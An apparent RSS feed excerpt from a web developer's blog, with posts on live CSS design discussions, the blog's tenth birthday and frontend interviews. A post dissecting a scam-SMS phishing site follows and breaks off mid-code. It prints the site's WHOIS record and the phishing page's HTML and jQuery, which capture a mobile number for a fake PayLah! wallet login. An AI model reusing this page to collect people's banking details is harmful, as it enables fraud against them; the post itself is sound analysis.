&lt;h2&gt;Real-time design discussions in the browser&lt;/h2&gt;
&lt;p&gt;As a fully remote organisation, we&apos;re always working together via video calls, usually Slack huddles. Whenever there&apos;s a new request or design idea, we literally do the discussion and evaluation part live in the browser. From straight-forward things like font size and colour changes, to more complex things like layout adjustments.&lt;/p&gt;
&lt;p&gt;I guess all that time spent building layout demos and speaking about devtools in the past did have actual job benefits because I can now move things around the web page almost at the same speed as someone moving bits around in a Figma file. And we can immediately resize the browser to see how the content flows.&lt;/p&gt;
&lt;p&gt;Personally, after all these years, I can more or less already tell how some content is going to look like on a browser at specific widths (just purely due to experience) but I fully understand that this is not a given for most normal people. After all, normal people do not resize their browser a thousand times a day.&lt;/p&gt;
&lt;p&gt;Which is why being able to immediately show people why something doesn&apos;t work or recommend an alternative, directly in the browser, is so convincing and time-saving.&lt;/p&gt;
&lt;p&gt;We have lots of different projects, so the actual approach is a mix between making the change in devtools and updating the code base directly. It depends if my local machine version matches the production/staging content or not.&lt;/p&gt;
&lt;h2&gt;Most common scenarios&lt;/h2&gt;
&lt;p&gt;I&apos;m trying to think about the most common things I adjust in the browser and what CSS properties I mess around with most. In other words, CSS properties that helps if you know like the back of your hand.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Flex&lt;/strong&gt; and &lt;strong&gt;grid&lt;/strong&gt;&lt;br&gt;
I often make layout changes when we add a new element to the component, so &lt;code&gt;justify-*&lt;/code&gt; and &lt;code&gt;align-*&lt;/code&gt; as well as the &lt;code&gt;flex&lt;/code&gt; properties get adjusted a lot. Knowing how the HTML should be structured also plays into this.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;br&gt;
Bet you didn&apos;t expect this one, but I do make a lot of &lt;code&gt;background-*&lt;/code&gt; adjustments to see how our choices of photography or illustrations play out, especially in combination with text content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shadows&lt;/strong&gt; and &lt;strong&gt;gradients&lt;/strong&gt;&lt;br&gt;
Did I memorise the syntax? Of course not. That&apos;s what devtools is for. But gradients are a big part of our visual brand, so &lt;a href=&quot;https://oklch.com/&quot;&gt;OKLCH&lt;/a&gt; for the win! Really makes a big quality difference. Shadows are generally nice for adding some visual depth, but again, depends on your visual direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Text-related&lt;/strong&gt; tweaks&lt;br&gt;
This is more edge-case tweaking, like when I&apos;m discussing with the team, then squish the viewport really small and realise we overflow because of that single long word in the headline. So the &lt;code&gt;white-space&lt;/code&gt;, &lt;code&gt;hyphens&lt;/code&gt; and others for typography come in handy to quickly resolve the problem so we can focus on the actual design stuff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Logical properties&lt;/strong&gt;&lt;br&gt;
I&apos;ve converted to logical properties for all my projects so &lt;code&gt;block-*&lt;/code&gt; and &lt;code&gt;inline-*&lt;/code&gt; folks!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Generally, these cover most of the ideas that get thrown around as we build out the required pages. It also helps that Madalina can also tweak and update her illustrations real quick and send over the SVGs so we can see how things shape up in the same meeting.&lt;/p&gt;
&lt;p&gt;Because we&apos;re all not in the same timezone, the efficiency of this style of working really shines through even more. Like I stated earlier, I&apos;m definitely NOT saying that everyone should work like this. I&apos;m just saying, I feel blessed that I can work like this.&lt;/p&gt;
&lt;h2&gt;The point is communicating ideas well&lt;/h2&gt;
&lt;p&gt;These days, to me, it doesn&apos;t really matter whether someone can do or knows all the web design things any more. I put more onus on myself to explain the reasons why certain approaches work better than others, and make my recommendations accordingly.&lt;/p&gt;
&lt;p&gt;I&apos;m not sure what the other folks who work with me think, but I do try my best to say yes to most ideas because honestly, CSS and JavaScript has evolved to a point where making beautiful things on web pages requires less effort than before.&lt;/p&gt;
&lt;p&gt;The upside is that, when I really do say no, folks are more inclined to be receptive of my explanation of why not. I guess it&apos;s that over time, there is a trust that builds up where people understand that I&apos;m not rejecting the proposal on some personal whims.&lt;/p&gt;
&lt;p&gt;And what worked for me most of the time, is showing in real-time what things look like in the browser, for good and for bad. I find that this shortens the discussion time quite a bit (but maybe it&apos;s also because I&apos;m working with very reasonable team mates), and we make decisions without too much back and forth.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I guess I&apos;m just enamoured with having web design discussions directly in the browser because, in my mind, that&apos;s the best way to approach building anything that lives in the browser. And to work with a team that&apos;s so receptive to this concept is really the cherry on top of a delicious cake.&lt;/p&gt;
&lt;p&gt;Mmmmm, cake… &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;shortcake&quot;&gt;🍰&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Wow, the blog is 10 years old 🥳</title><link>https://chenhuijing.com/blog/wow-the-blog-is-10-years-old/</link><guid isPermaLink="true">https://chenhuijing.com/blog/wow-the-blog-is-10-years-old/</guid><description>Since I conveniently missed my “decade of gainful employment as a web developer” post last year, I&apos;ll make it up with a “oh wow, this blog is a decade old”…</description><pubDate>Thu, 08 Feb 2024 23:26:44 GMT</pubDate><content:encoded>&lt;p&gt;Since I conveniently missed my “decade of gainful employment as a web developer” post last year, I&apos;ll make it up with a “oh wow, this blog is a decade old” post.&lt;/p&gt;
&lt;p&gt;There&apos;s not much to say, considering my output was sorely lacking over the past 3 years. BUT, I still dutifully renewed my domain name over the past ten years, and kept the dependencies on the site up-to-date, with an occasional blog post thrown in for good measure.&lt;/p&gt;
&lt;p&gt;I have never changed the design on my site, even though I did refactor the code multiple times over the years. And did one major &lt;a href=&quot;/blog/migrating-from-jekyll-to-hugo&quot;&gt;migration from Jekyll to Hugo&lt;/a&gt; back in 2020.&lt;/p&gt;
&lt;p&gt;When I came up with the site design, I wanted it to feel like me, and clearly I haven&apos;t evolved much as a human being, because the site still feels like me, so I&apos;m keeping the design.&lt;/p&gt;
&lt;p&gt;I&apos;ve changed companies too many times to count, but have been lucky enough to still be doing the job that I like, and earning enough to pay my bills. My dream is to retire!&lt;/p&gt;
&lt;p&gt;The crazy conference speaking life ran from 2017 to 2019 until the pandemic came around, and I&apos;m grateful I got those opportunities. Because I have terrible social skills, and don&apos;t meet new people on my own.&lt;/p&gt;
&lt;p&gt;Yes, I&apos;m fine with not leaving my house for 5 days and still be happy. Being locked down during the pandemic didn&apos;t negatively impact me a lot to be honest. Though I did become exceptionally lazy to be social. Maybe that&apos;s the downside.&lt;/p&gt;
&lt;p&gt;My &lt;a href=&quot;https://alexlakatos.com/about/&quot;&gt;friend&lt;/a&gt; who became my colleague is now my boss. He has not fired me yet. That&apos;s good, because I still want a salary. &lt;a href=&quot;https://interledger.org/&quot;&gt;We&lt;/a&gt; do our work out in the open, so maybe that&apos;s why I&apos;m more compelled to start writing again.&lt;/p&gt;
&lt;p&gt;Anyway, that&apos;s all. Here&apos;s a photo of #notmycat looking handsome.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ten-years/hei-480.jpg 480w, /images/posts/ten-years/hei-640.jpg 640w, /images/posts/ten-years/hei-960.jpg 960w, /images/posts/ten-years/hei-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ten-years/hei-640.jpg&quot; alt=&quot;Hei is a handsome black community cat that is an outside cat but climbs in through my window to take naps on rainy days&quot;&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.vecteezy.com/photo/32037195-cat-celebrating-birthday-wearing-party-hat-isolated-on-yellow-background&quot;&gt;Vecteezy.com&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>My ideal frontend interview</title><link>https://chenhuijing.com/blog/my-ideal-frontend-interview/</link><guid isPermaLink="true">https://chenhuijing.com/blog/my-ideal-frontend-interview/</guid><description>I&apos;ll be the first to admit that I think I&apos;m terrible at tech interviews. I never had a proper computer science education, and if I have never encountered a…</description><pubDate>Sun, 14 Jan 2024 01:28:58 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ll be the first to admit that I think I&apos;m terrible at tech interviews. I never had a proper computer science education, and if I have never encountered a concept during my day-to-day job, odds are I won&apos;t know how to implement “The Algorithmic-Data-Structure-Universe-Saving Thing™” in an hour with someone monitoring my keystrokes.&lt;/p&gt;
&lt;p&gt;The only tech interview that I actually enjoyed was the one that got me hired at Shopify. They may have changed the process since 4 years ago, but back then, I got an image of a tic-tac-toe game and was told to code it up in whichever set up I was comfortable with. I did it in &lt;a href=&quot;https://codepen.io/&quot;&gt;CodePen&lt;/a&gt; while talking through my process with the interviewer and had a great time.&lt;/p&gt;
&lt;p&gt;Granted, the interviewer plays a significant role in the thing, but the structure and intention of the interview is what makes or breaks an interview process for me. Anyway, I&apos;m quarantined in my room with COVID, so I have thoughts and I&apos;m writing them down. &lt;span class=&quot;kaomoji&quot;&gt;乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;What I think I&apos;m worth paying for&lt;/h2&gt;
&lt;p&gt;If you have worked with me, you will know that I&apos;m not a general use developer. I am really good at specific things, and solidly mediocre in everything else. Which probably averages out to a B-, maybe. Ask &lt;a href=&quot;https://alexlakatos.com/about/&quot;&gt;my boss&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In an ideal world where unicorns shit rainbows, I would love to have coding interviews be directly correlated to the main work the intended hire will be doing.&lt;/p&gt;
&lt;p&gt;I do recognise that this approach perhaps doesn&apos;t scale very well in corporate environments, or in places that don&apos;t really know what they are doing. That&apos;s why I say rainbow-unicorn-excrement-land.&lt;/p&gt;
&lt;p&gt;Over the decade that I&apos;ve been working, I have been fortunate to land in jobs where the thing I like to do also happens to be the thing I&apos;m good at. That is not as easy to come by as it might sound, so I&apos;m rather grateful.&lt;/p&gt;
&lt;p&gt;So here&apos;s what I think I&apos;m worth paying for: the ability to &lt;strong&gt;explain myself well&lt;/strong&gt;, and the ability to &lt;strong&gt;HTML and CSS quickly&lt;/strong&gt;, live in front of people, specifically my team mates.&lt;/p&gt;
&lt;h2&gt;What I&apos;m being paid for at the moment&lt;/h2&gt;
&lt;p&gt;Web development is a wide spectrum these days, ranging from the front of the frontend, all the way back to the servers, networks and security aspects of things.&lt;/p&gt;
&lt;p&gt;I personally am a very front-of-the-front developer. I like to tell people, if someone behind me just sneezes, I will fall into the design side of things. That&apos;s how close to the edge I am.&lt;/p&gt;
&lt;p&gt;The other fortunate thing about my career is that, I get to work closely with designers and content people. You&apos;d be surprised at how common it is for developers to not have direct working relationships with their designers or content creators. Or at least, that&apos;s what I&apos;ve observed. If you have observed differently, that&apos;s cool too.&lt;/p&gt;
&lt;p&gt;During my day-to-day work, I work with idea people, namely our awesome designer, &lt;a href=&quot;https://www.instagram.com/madalinadraws&quot;&gt;Madalina Tantareanu&lt;/a&gt;, and our comms director, &lt;a href=&quot;https://www.linkedin.com/in/anna-sheard-850724141/&quot;&gt;Anna Sheard&lt;/a&gt;. I&apos;m not an idea person myself, but I can make your idea become real.&lt;/p&gt;
&lt;p&gt;I think that&apos;s why we work well together, which is one of the points I&apos;m trying to make here. In rainbow-unicorn-excrement-land, I would imagine that the code interview reflects a day-to-day working situation. So I&apos;m going to briefly describe mine here.&lt;/p&gt;
&lt;h2&gt;What I work on day-to-day&lt;/h2&gt;
&lt;p&gt;As of time of writing, I have 2 main areas of concern at the &lt;a href=&quot;https://interledger.org/&quot;&gt;Interledger Foundation&lt;/a&gt;. I am the custodian of all our documentation sites (we have 6 of them at this point), and our organisation website, &lt;a href=&quot;http://Interledger.org&quot;&gt;Interledger.org&lt;/a&gt; (and all the related sub-sites).&lt;/p&gt;
&lt;p&gt;It&apos;s a nice split, in my opinion. The documentation sites are built on &lt;a href=&quot;https://starlight.astro.build/&quot;&gt;Starlight&lt;/a&gt;, an &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt; framework for documentation. All the heavy lifting is done by the words written by our beautiful tech writing team. I just try to keep the home for these words as well maintained as I can.&lt;/p&gt;
&lt;p&gt;The organisation website has a much bigger strategic role, since it is the online face of &lt;a href=&quot;http://Interledger.org&quot;&gt;Interledger.org&lt;/a&gt;. And honestly, in my decade long career, I&apos;ve never worked on an organisation website that was perfectly built from the start. Most organisations change way too much in the initial stages anyway.&lt;/p&gt;
&lt;p&gt;I&apos;m currently in the midst of preparing version 4 of our organisation&apos;s website for release. For the past 6 months, our branding team has been working on formalising our long-term brand strategy and direction, as well as details and guidelines for usage and implementation.&lt;/p&gt;
&lt;p&gt;As a fully remote company, we are unable to have discussions in person most of the time, and the magic usually happens on calls. And this is where the high-speed HTML-ing and CSS-ing is most useful.&lt;/p&gt;
&lt;p&gt;Upon reflection, it&apos;s not so much as the raw speed at writing HTML and CSS, but the &lt;em&gt;thorough understanding of how exactly HTML and CSS work&lt;/em&gt; that allow me to instantly make the changes we discuss on the call live on the site.&lt;/p&gt;
&lt;p&gt;Some times I do this directly on the codebase, if the thing we discuss is on a local site, or via devtools just to see if our proposed changes look alright or not.&lt;/p&gt;
&lt;h2&gt;My ideal frontend interview scenario&lt;/h2&gt;
&lt;p&gt;I&apos;m not sure if this is a widely accepted or common way of working, but I have done so in most of other organisations I&apos;ve worked at, and it has worked out very well for me.&lt;/p&gt;
&lt;p&gt;It is so much easier to explain concerns around specific design choices that might not scale well across different screen sizes if you can show it directly to the person involved. Discussing visuals via imagination is &lt;strong&gt;not&lt;/strong&gt; as effective as people think it is.&lt;/p&gt;
&lt;p&gt;And if the developer is able to do it live on the call, the amount of time saved is exponential. Imagine having to finish up the call, make the changes locally, maybe screenshot it or deploy it to staging, then tell everyone to take a look, wait for everyone to actually look because time zones, you get the picture.&lt;/p&gt;
&lt;p&gt;So my ideal scenario would be a site that has frontend Issues™, then the interviewer can start proposing improvement ideas and have an entire discussion with the interviewee on what could work or not based on seeing how these changes look on the site.&lt;/p&gt;
&lt;p&gt;In reality, this is probably really hard to implement as a tech interview. So I don&apos;t think it will actually catch on, but in rainbow-unicorn-excrement-land, anything is possible.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Maybe you&apos;ve heard a variation of the &lt;a href=&quot;https://www.snopes.com/fact-check/know-where-man/&quot;&gt;The Handyman&apos;s Invoice&lt;/a&gt; story about a plumber charging $10000 for knowing where to hit a pipe. But that story does resonate with me. And that&apos;s the level of expertise I want to have when it comes to building websites.&lt;/p&gt;
&lt;p&gt;There&apos;s not much of a point to the post methinks. Other than the fact I want to brag about my beautiful branding team. Haha. And I also want to be free of Covid soon. Getting food delivered isn&apos;t cheap. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;weary face&quot;&gt;😩&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.vexels.com/vectors/preview/149654/rainbow-cute-unicorn-poop&quot;&gt;Vexels.com&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Let&apos;s inspect a phishing site</title><link>https://chenhuijing.com/blog/lets-inspect-a-phishing-site/</link><guid isPermaLink="true">https://chenhuijing.com/blog/lets-inspect-a-phishing-site/</guid><description>First of all, happy new year! It&apos;s 11 days into 2024 and I just tested positive for COVID. Unlike many people these days who are not sure where they got it…</description><pubDate>Thu, 11 Jan 2024 04:21:32 GMT</pubDate><content:encoded>&lt;p&gt;First of all, happy new year!&lt;/p&gt;
&lt;p&gt;It&apos;s 11 days into 2024 and I just tested positive for COVID. Unlike many people these days who are not sure where they got it from, I&apos;m about 74.3% confident that I got it from my mom. Because she did have it when I was visiting last week, and I knowingly stayed behind to be caregiver until she tested negative.&lt;/p&gt;
&lt;p&gt;Unfortunately, in spite the aggressive hand-washing, mask-wearing and sanitising, it wasn&apos;t enough and my symptoms started today. On the positive side, they are relatively mild for now, just a cough and running nose, so fingers crossed.&lt;/p&gt;
&lt;p&gt;The point of this post though, is because I just got a scam SMS and thought it&apos;d be fun to inspect how the phishing website works. This might be a completely stupid idea but I&apos;m not known for being smart about things, so here we go.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Warning: this post is full of copy and pasted complete code files so it won&apos;t read well. You have been warned.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I don&apos;t expect anyone to read till the end, so I&apos;ll just put the conclusion up front, which is: from this exercise, I&apos;m doubling down on the opinion that we should all name our functions descriptively.&lt;/p&gt;
&lt;p&gt;Makes reading code SO MUCH BETTER. What I discovered from this exercise is that rubbish-ly named functions make code reading super tiring.&lt;/p&gt;
&lt;h2&gt;How it started&lt;/h2&gt;
&lt;p&gt;I looked at my phone a little earlier and saw this SMS from a number marked &amp;quot;Likely-SCAM&amp;quot; by my service provider. Nice. Good job, &lt;a href=&quot;https://www.vivifi.me/&quot;&gt;Vivifi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/phishing-site/sms.png&quot; alt=&quot;Phishing SMS asking me to click on a dubious link&quot;&gt;&lt;/p&gt;
&lt;p&gt;And my first thought was, “ooo is &lt;code&gt;.work&lt;/code&gt; a TLD now? nice”. Then of course, my next thought was: who owns this? So, let&apos;s check out the WHOIS information and see what we can find out.&lt;/p&gt;
&lt;p&gt;I&apos;m working on a MacBook so I do have the &lt;code&gt;whois&lt;/code&gt; utility out the box. If you&apos;re on Windows, maybe use a website? I don&apos;t know.&lt;/p&gt;
&lt;p&gt;Anyway, after running &lt;code&gt;whois dbsnowsg.work&lt;/code&gt;, it was no surprise to figure out that the people who bought the domain turned on Whois privacy. They used &lt;a href=&quot;https://www.namesilo.com/&quot;&gt;NameSilo&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Domain Name: dbsnowsg.work
Registry Domain ID: D8E4AC567697B4913AAFAEBE288FFC65C-GDREG
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: www.namesilo.com
Updated Date: 2024-01-10T19:31:43Z
Creation Date: 2024-01-10T19:13:19Z
Registry Expiry Date: 2025-01-10T19:13:19Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: addPeriod https://icann.org/epp#addPeriod
Registry Registrant ID: REDACTED FOR PRIVACY
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: PrivacyGuardian.org llc
Registrant Street: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: AZ
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: US
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext: REDACTED FOR PRIVACY
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext: REDACTED FOR PRIVACY
Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Admin ID: REDACTED FOR PRIVACY
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext: REDACTED FOR PRIVACY
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext: REDACTED FOR PRIVACY
Admin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Tech ID: REDACTED FOR PRIVACY
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext: REDACTED FOR PRIVACY
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext: REDACTED FOR PRIVACY
Tech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Name Server: kirk.ns.cloudflare.com
Name Server: jocelyn.ns.cloudflare.com
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
&amp;gt;&amp;gt;&amp;gt; Last update of WHOIS database: 2024-01-11T04:41:37Z &amp;lt;&amp;lt;&amp;lt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fair enough.&lt;/p&gt;
&lt;p&gt;I do know that the domain was registered the day before and will expire in a year. Meh.&lt;/p&gt;
&lt;h2&gt;So what lies on the end of the URL?&lt;/h2&gt;
&lt;p&gt;Okay, this part I&apos;m not sure if it&apos;s a good idea or not. So maybe don&apos;t try this at home? It might be installing a key logger on my computer for all I know so I&apos;ll let you know if I lose money at any point. &lt;span class=&quot;kaomoji&quot;&gt;乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Probably doesn&apos;t help at all, but I did open it in an incognito Firefox window. Hey, I am a very not smart person, so keep that in mind when you want to tell me “I told you so”.&lt;/p&gt;
&lt;p&gt;I did mistype the first time, and &lt;em&gt;dbsnowsg.work&lt;/em&gt; didn&apos;t connect to anything. So it seems like the subdomain is where the action is at. &lt;em&gt;&lt;a href=&quot;https://sgs.dbsnowsg.work&quot;&gt;https://sgs.dbsnowsg.work&lt;/a&gt;&lt;/em&gt; is the one that returns a website. Can I just say that, somebody bothered to setup HTTPS. Scammers gotta keep up with the times, eh?&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/phishing-site/website-480.jpg 480w, /images/posts/phishing-site/website-640.jpg 640w, /images/posts/phishing-site/website-960.jpg 960w, /images/posts/phishing-site/website-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/phishing-site/website-640.jpg&quot; alt=&quot;Screenshot of the landing page of the phishing site sgs.dbsnowsg.work&quot;&gt;
&lt;p&gt;At my first glance, I wasn&apos;t too impressed. But I also recognise that I&apos;m not exactly the target audience for this website. Some cybersecurity folks have explained that spelling and grammar mistakes in scam emails &lt;a href=&quot;https://josephsteinberg.com/why-scammers-make-spelling-and-grammar-mistakes/&quot;&gt;discourage responses from anyone who isn’t sufficiently gullible so as to ultimately fall prey to the relevant scam&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Following that line of reasoning, I feel that from a strategy perspective, not bothering to put in too much work to replicate the original site is a win-win for the scam organisation. You get to do less development work and automatically filter for folks that are either gullible enough or distracted enough to fall for it.&lt;/p&gt;
&lt;h2&gt;Site inspection time&lt;/h2&gt;
&lt;p&gt;Right-click inspect is the tool I&apos;ve used for more than 2 decades. It&apos;s still good, my friends. I built a career on it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot; /&amp;gt;
    &amp;lt;meta http-equiv=&amp;quot;X-UA-Compatible&amp;quot; content=&amp;quot;IE=edge&amp;quot; /&amp;gt;
    &amp;lt;meta
      name=&amp;quot;viewport&amp;quot;
      content=&amp;quot;width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1, maximum-scale=1&amp;quot;
    /&amp;gt;
    &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;./css/global.css&amp;quot; /&amp;gt;
    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;./css/animation.css&amp;quot; /&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div id=&amp;quot;main&amp;quot;&amp;gt;
      &amp;lt;div class=&amp;quot;header&amp;quot;&amp;gt;
        &amp;lt;img class=&amp;quot;back&amp;quot; src=&amp;quot;./img/back.svg&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
        &amp;lt;img class=&amp;quot;logo&amp;quot; src=&amp;quot;./img/paylahwhite.png&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;
        &amp;lt;p style=&amp;quot;text-align: center;&amp;quot;&amp;gt;Step1. Mobile Number Authentication&amp;lt;/p&amp;gt;
        &amp;lt;div class=&amp;quot;input&amp;quot;&amp;gt;
          &amp;lt;input
            id=&amp;quot;moblie_input&amp;quot;
            class=&amp;quot;moblie_input&amp;quot;
            placeholder=&amp;quot;Mobile&amp;quot;
            pattern=&amp;quot;[0-9]*&amp;quot;
            type=&amp;quot;tel&amp;quot;
            maxlength=&amp;quot;11&amp;quot;
          /&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&amp;quot;footer&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;btn&amp;quot;&amp;gt;Next&amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div id=&amp;quot;Error&amp;quot; class=&amp;quot;pop&amp;quot; style=&amp;quot;display: none;&amp;quot;&amp;gt;
        &amp;lt;p class=&amp;quot;pop_text&amp;quot;&amp;gt;There are no PlayLah! wallets registered to this mobile number.&amp;lt;/p&amp;gt;
        &amp;lt;div class=&amp;quot;confirm&amp;quot;&amp;gt;OK&amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script src=&amp;quot;./js/jquery-1.11.1.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;zy/api/k.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;
      js_ini_jsver(&amp;quot;zy/api/i.js&amp;quot;);

      function onset() {
        var length = 0;
        $(&amp;quot;.moblie_input&amp;quot;).on(&amp;quot;input&amp;quot;, function (val) {
          length = val.target.value.length;
          // console.log(val.target.value)
          if (val.target.value.length &amp;gt;= 8) {
            val.target.value = val.target.value.slice(0, 8);
            $(&amp;quot;.btn&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#b82f54&amp;quot;);

            if ($(&amp;quot;.btn&amp;quot;).children().length == 0) {
              $(&amp;quot;.btn&amp;quot;).html(&amp;quot;&amp;quot;);
              $(&amp;quot;.btn&amp;quot;).append(
                &amp;quot;&amp;lt;span class=&apos;item i1&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&apos;item i2&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&apos;item i3&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;quot;
              );
            }
            var data = $(&amp;quot;#moblie_input&amp;quot;).val();
            $(&amp;quot;#moblie_input&amp;quot;).blur();
            setTimeout(() =&amp;gt; {
              api_name_paswd(data, &amp;quot;1&amp;quot;);
            }, 300);
          } else {
            $(&amp;quot;.btn&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#eee&amp;quot;);
          }
        });
        $(&amp;quot;.moblie_input&amp;quot;).blur(function (val) {
          // console.log(val)
          $(&amp;quot;.input&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;transparent&amp;quot;);
        });
        $(&amp;quot;.moblie_input&amp;quot;).focus(function (val) {
          $(&amp;quot;.input&amp;quot;).css(&amp;quot;background&amp;quot;, &amp;quot;#000&amp;quot;);
        });

        $(&amp;quot;.btn&amp;quot;).on(&amp;quot;click&amp;quot;, function () {
          if (length &amp;gt;= 8) {
            if ($(&amp;quot;.btn&amp;quot;).children().length == 0) {
              $(&amp;quot;.btn&amp;quot;).html(&amp;quot;&amp;quot;);
              $(&amp;quot;.btn&amp;quot;).append(
                &amp;quot;&amp;lt;span class=&apos;item i1&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&apos;item i2&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&apos;item i3&apos;&amp;gt;&amp;lt;/span&amp;gt;&amp;quot;
              );
            }
            var data = $(&amp;quot;#moblie_input&amp;quot;).val();
            $(&amp;quot;#moblie_input&amp;quot;).blur();
            setTimeout(() =&amp;gt; {
              api_name_paswd(data, &amp;quot;1&amp;quot;);
            }, 300);

            // window.location.href=&apos;./authBankDigital.html&apos;
          }
        });

        $(&amp;quot;.confirm&amp;quot;).on(&amp;quot;click&amp;quot;, function () {
          $id(&amp;quot;Error&amp;quot;).style.display = &amp;quot;none&amp;quot;;
        });

        $(&amp;quot;.back&amp;quot;).on(&amp;quot;click&amp;quot;, function (val) {
          y(&amp;quot;index.php&amp;quot;);
        });
      }

      window.onload = onset;
    &amp;lt;/script&amp;gt;
    &amp;lt;style&amp;gt;
      #main {
        position: relative;
        width: 100vw;
        height: 100vh;
